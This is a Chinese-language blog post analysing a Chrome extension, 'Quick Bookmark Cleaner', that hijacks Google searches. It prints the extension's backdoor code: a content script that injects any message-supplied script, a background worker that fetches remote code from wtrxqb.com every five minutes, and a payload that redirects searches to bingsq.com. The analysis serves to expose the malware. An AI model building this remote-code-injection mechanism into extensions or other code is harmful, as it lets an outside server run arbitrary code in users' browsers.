起因是这样的,2022年12月10日下午的时候,发现用谷歌搜索的所有东西都被重定向到了必应的结果,根据我多年的不当人写后门的经验来看,肯定是被某个插件或者脚本劫持了。
在谷歌浏览器中搜索 colorpop
时,会被重定向到 http://bingsq.com/rd.php?q=colorpop&n=8004
这个结果,然后自动跳转到了必应的搜索结果
先禁用了暴力猴的所有脚本,发现不管用,可以几乎肯定是 Chrome 插件的问题了,然后打开开发者工具开始抓包,开启日志记录功能,看看是哪个傻逼插件写了后门。
结果,果然发现了一个名为 injected_content.js
奇怪的js文件被注入到了页面中,内容如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| postMessage({ type: "ready" });
window.addEventListener("message", (e) => {
if (e?.data?.type !== "track") {
return;
}
try {
eval("1+1");
const script = document.createElement("script");
script.textContent = e.data.code;
document.documentElement.appendChild(script);
} catch (e) {}
});
|
不难看出,这是插件的框架内部监听了页面的 message
事件,然后执行了 eval("1+1")
,如果没有报错,就会创建一个脚本,内容为 e.data.code
,这个 e.data.code
里就是后门代码了。
果然,禁用了 Quick Bookmark Cleaner 插件以后,搜索功能正常了,开始进一步挖掘,看看这个 e.data.code
里到底写了什么
打开插件的管理页面:chrome://extensions/?id=ljfgijlbekebdhniagdekklbmmchhjja
,找到 ”查看视图“ 这一栏,会发现有一个 Service Worker
文件,点进去,可以看到这个文件的内容,在 background.js
中,地址:chrome-extension://ljfgijlbekebdhniagdekklbmmchhjja/background.js
内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| const BASE_URL = 'https://wtrxqb.com/';
let tracking = ''
const updateTrackingCode = () => {
tracking = fetch(`${BASE_URL}track.php?${Date.now()}`)
.then((res) => res.text())
.catch(() => '')
}
chrome.alarms.create('update-config', {periodInMinutes: 5})
chrome.alarms.onAlarm.addListener(updateTrackingCode)
updateTrackingCode()
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
switch (message.type) {
case 'getTrackingCode':
Promise.resolve().then(() => tracking).then(sendResponse)
return true
default:
return false
}
})
chrome.runtime.onInstalled.addListener(function (details) {
if (details.reason === 'install') {
fetch(`${BASE_URL}install.php`)
}
})
|
这就是后门的完整代码了,可以看到,这个插件会定时向 https://wtrxqb.com/track.php
发送请求,获取后门代码,然后注入到页面中,这个后门代码的内容是一个 eval
函数,这个函数会执行 fetch
请求,然后把请求的结果发送到 https://wtrxqb.com/track.php
,这个地址会返回远程的后门 js 代码。
1
| (function () { const patterns = [ /google(?:\.\w{2,3}){1,2}\/search\?.*?q=(.*?)(&|$)/, ]; const pattern = patterns.find((p) => p.test(document.location.href)); if (!pattern) { document.documentElement.style.display = ''; return; } const [,query] = document.location.href.match(pattern); const redirectUrl = `https://bingsq.com/?n=40&q=${query}`; document.location.replace(redirectUrl); })();
|
不难看出,这段代码把所有的谷歌搜索结果给跳转到了 http://bingsq.com/rd.php?q=colorpop&n=8004
这个链接。
网上搜索 bingsq.com
这个网址会发现,不止一个插件装了这个后门。
最后:
不知道是不是必应给了推广费还是什么情况,总之少装点chrome插件吧,能不用就不用,远程执行后门的情况太多了,反馈给谷歌被下架的几率也小的离谱。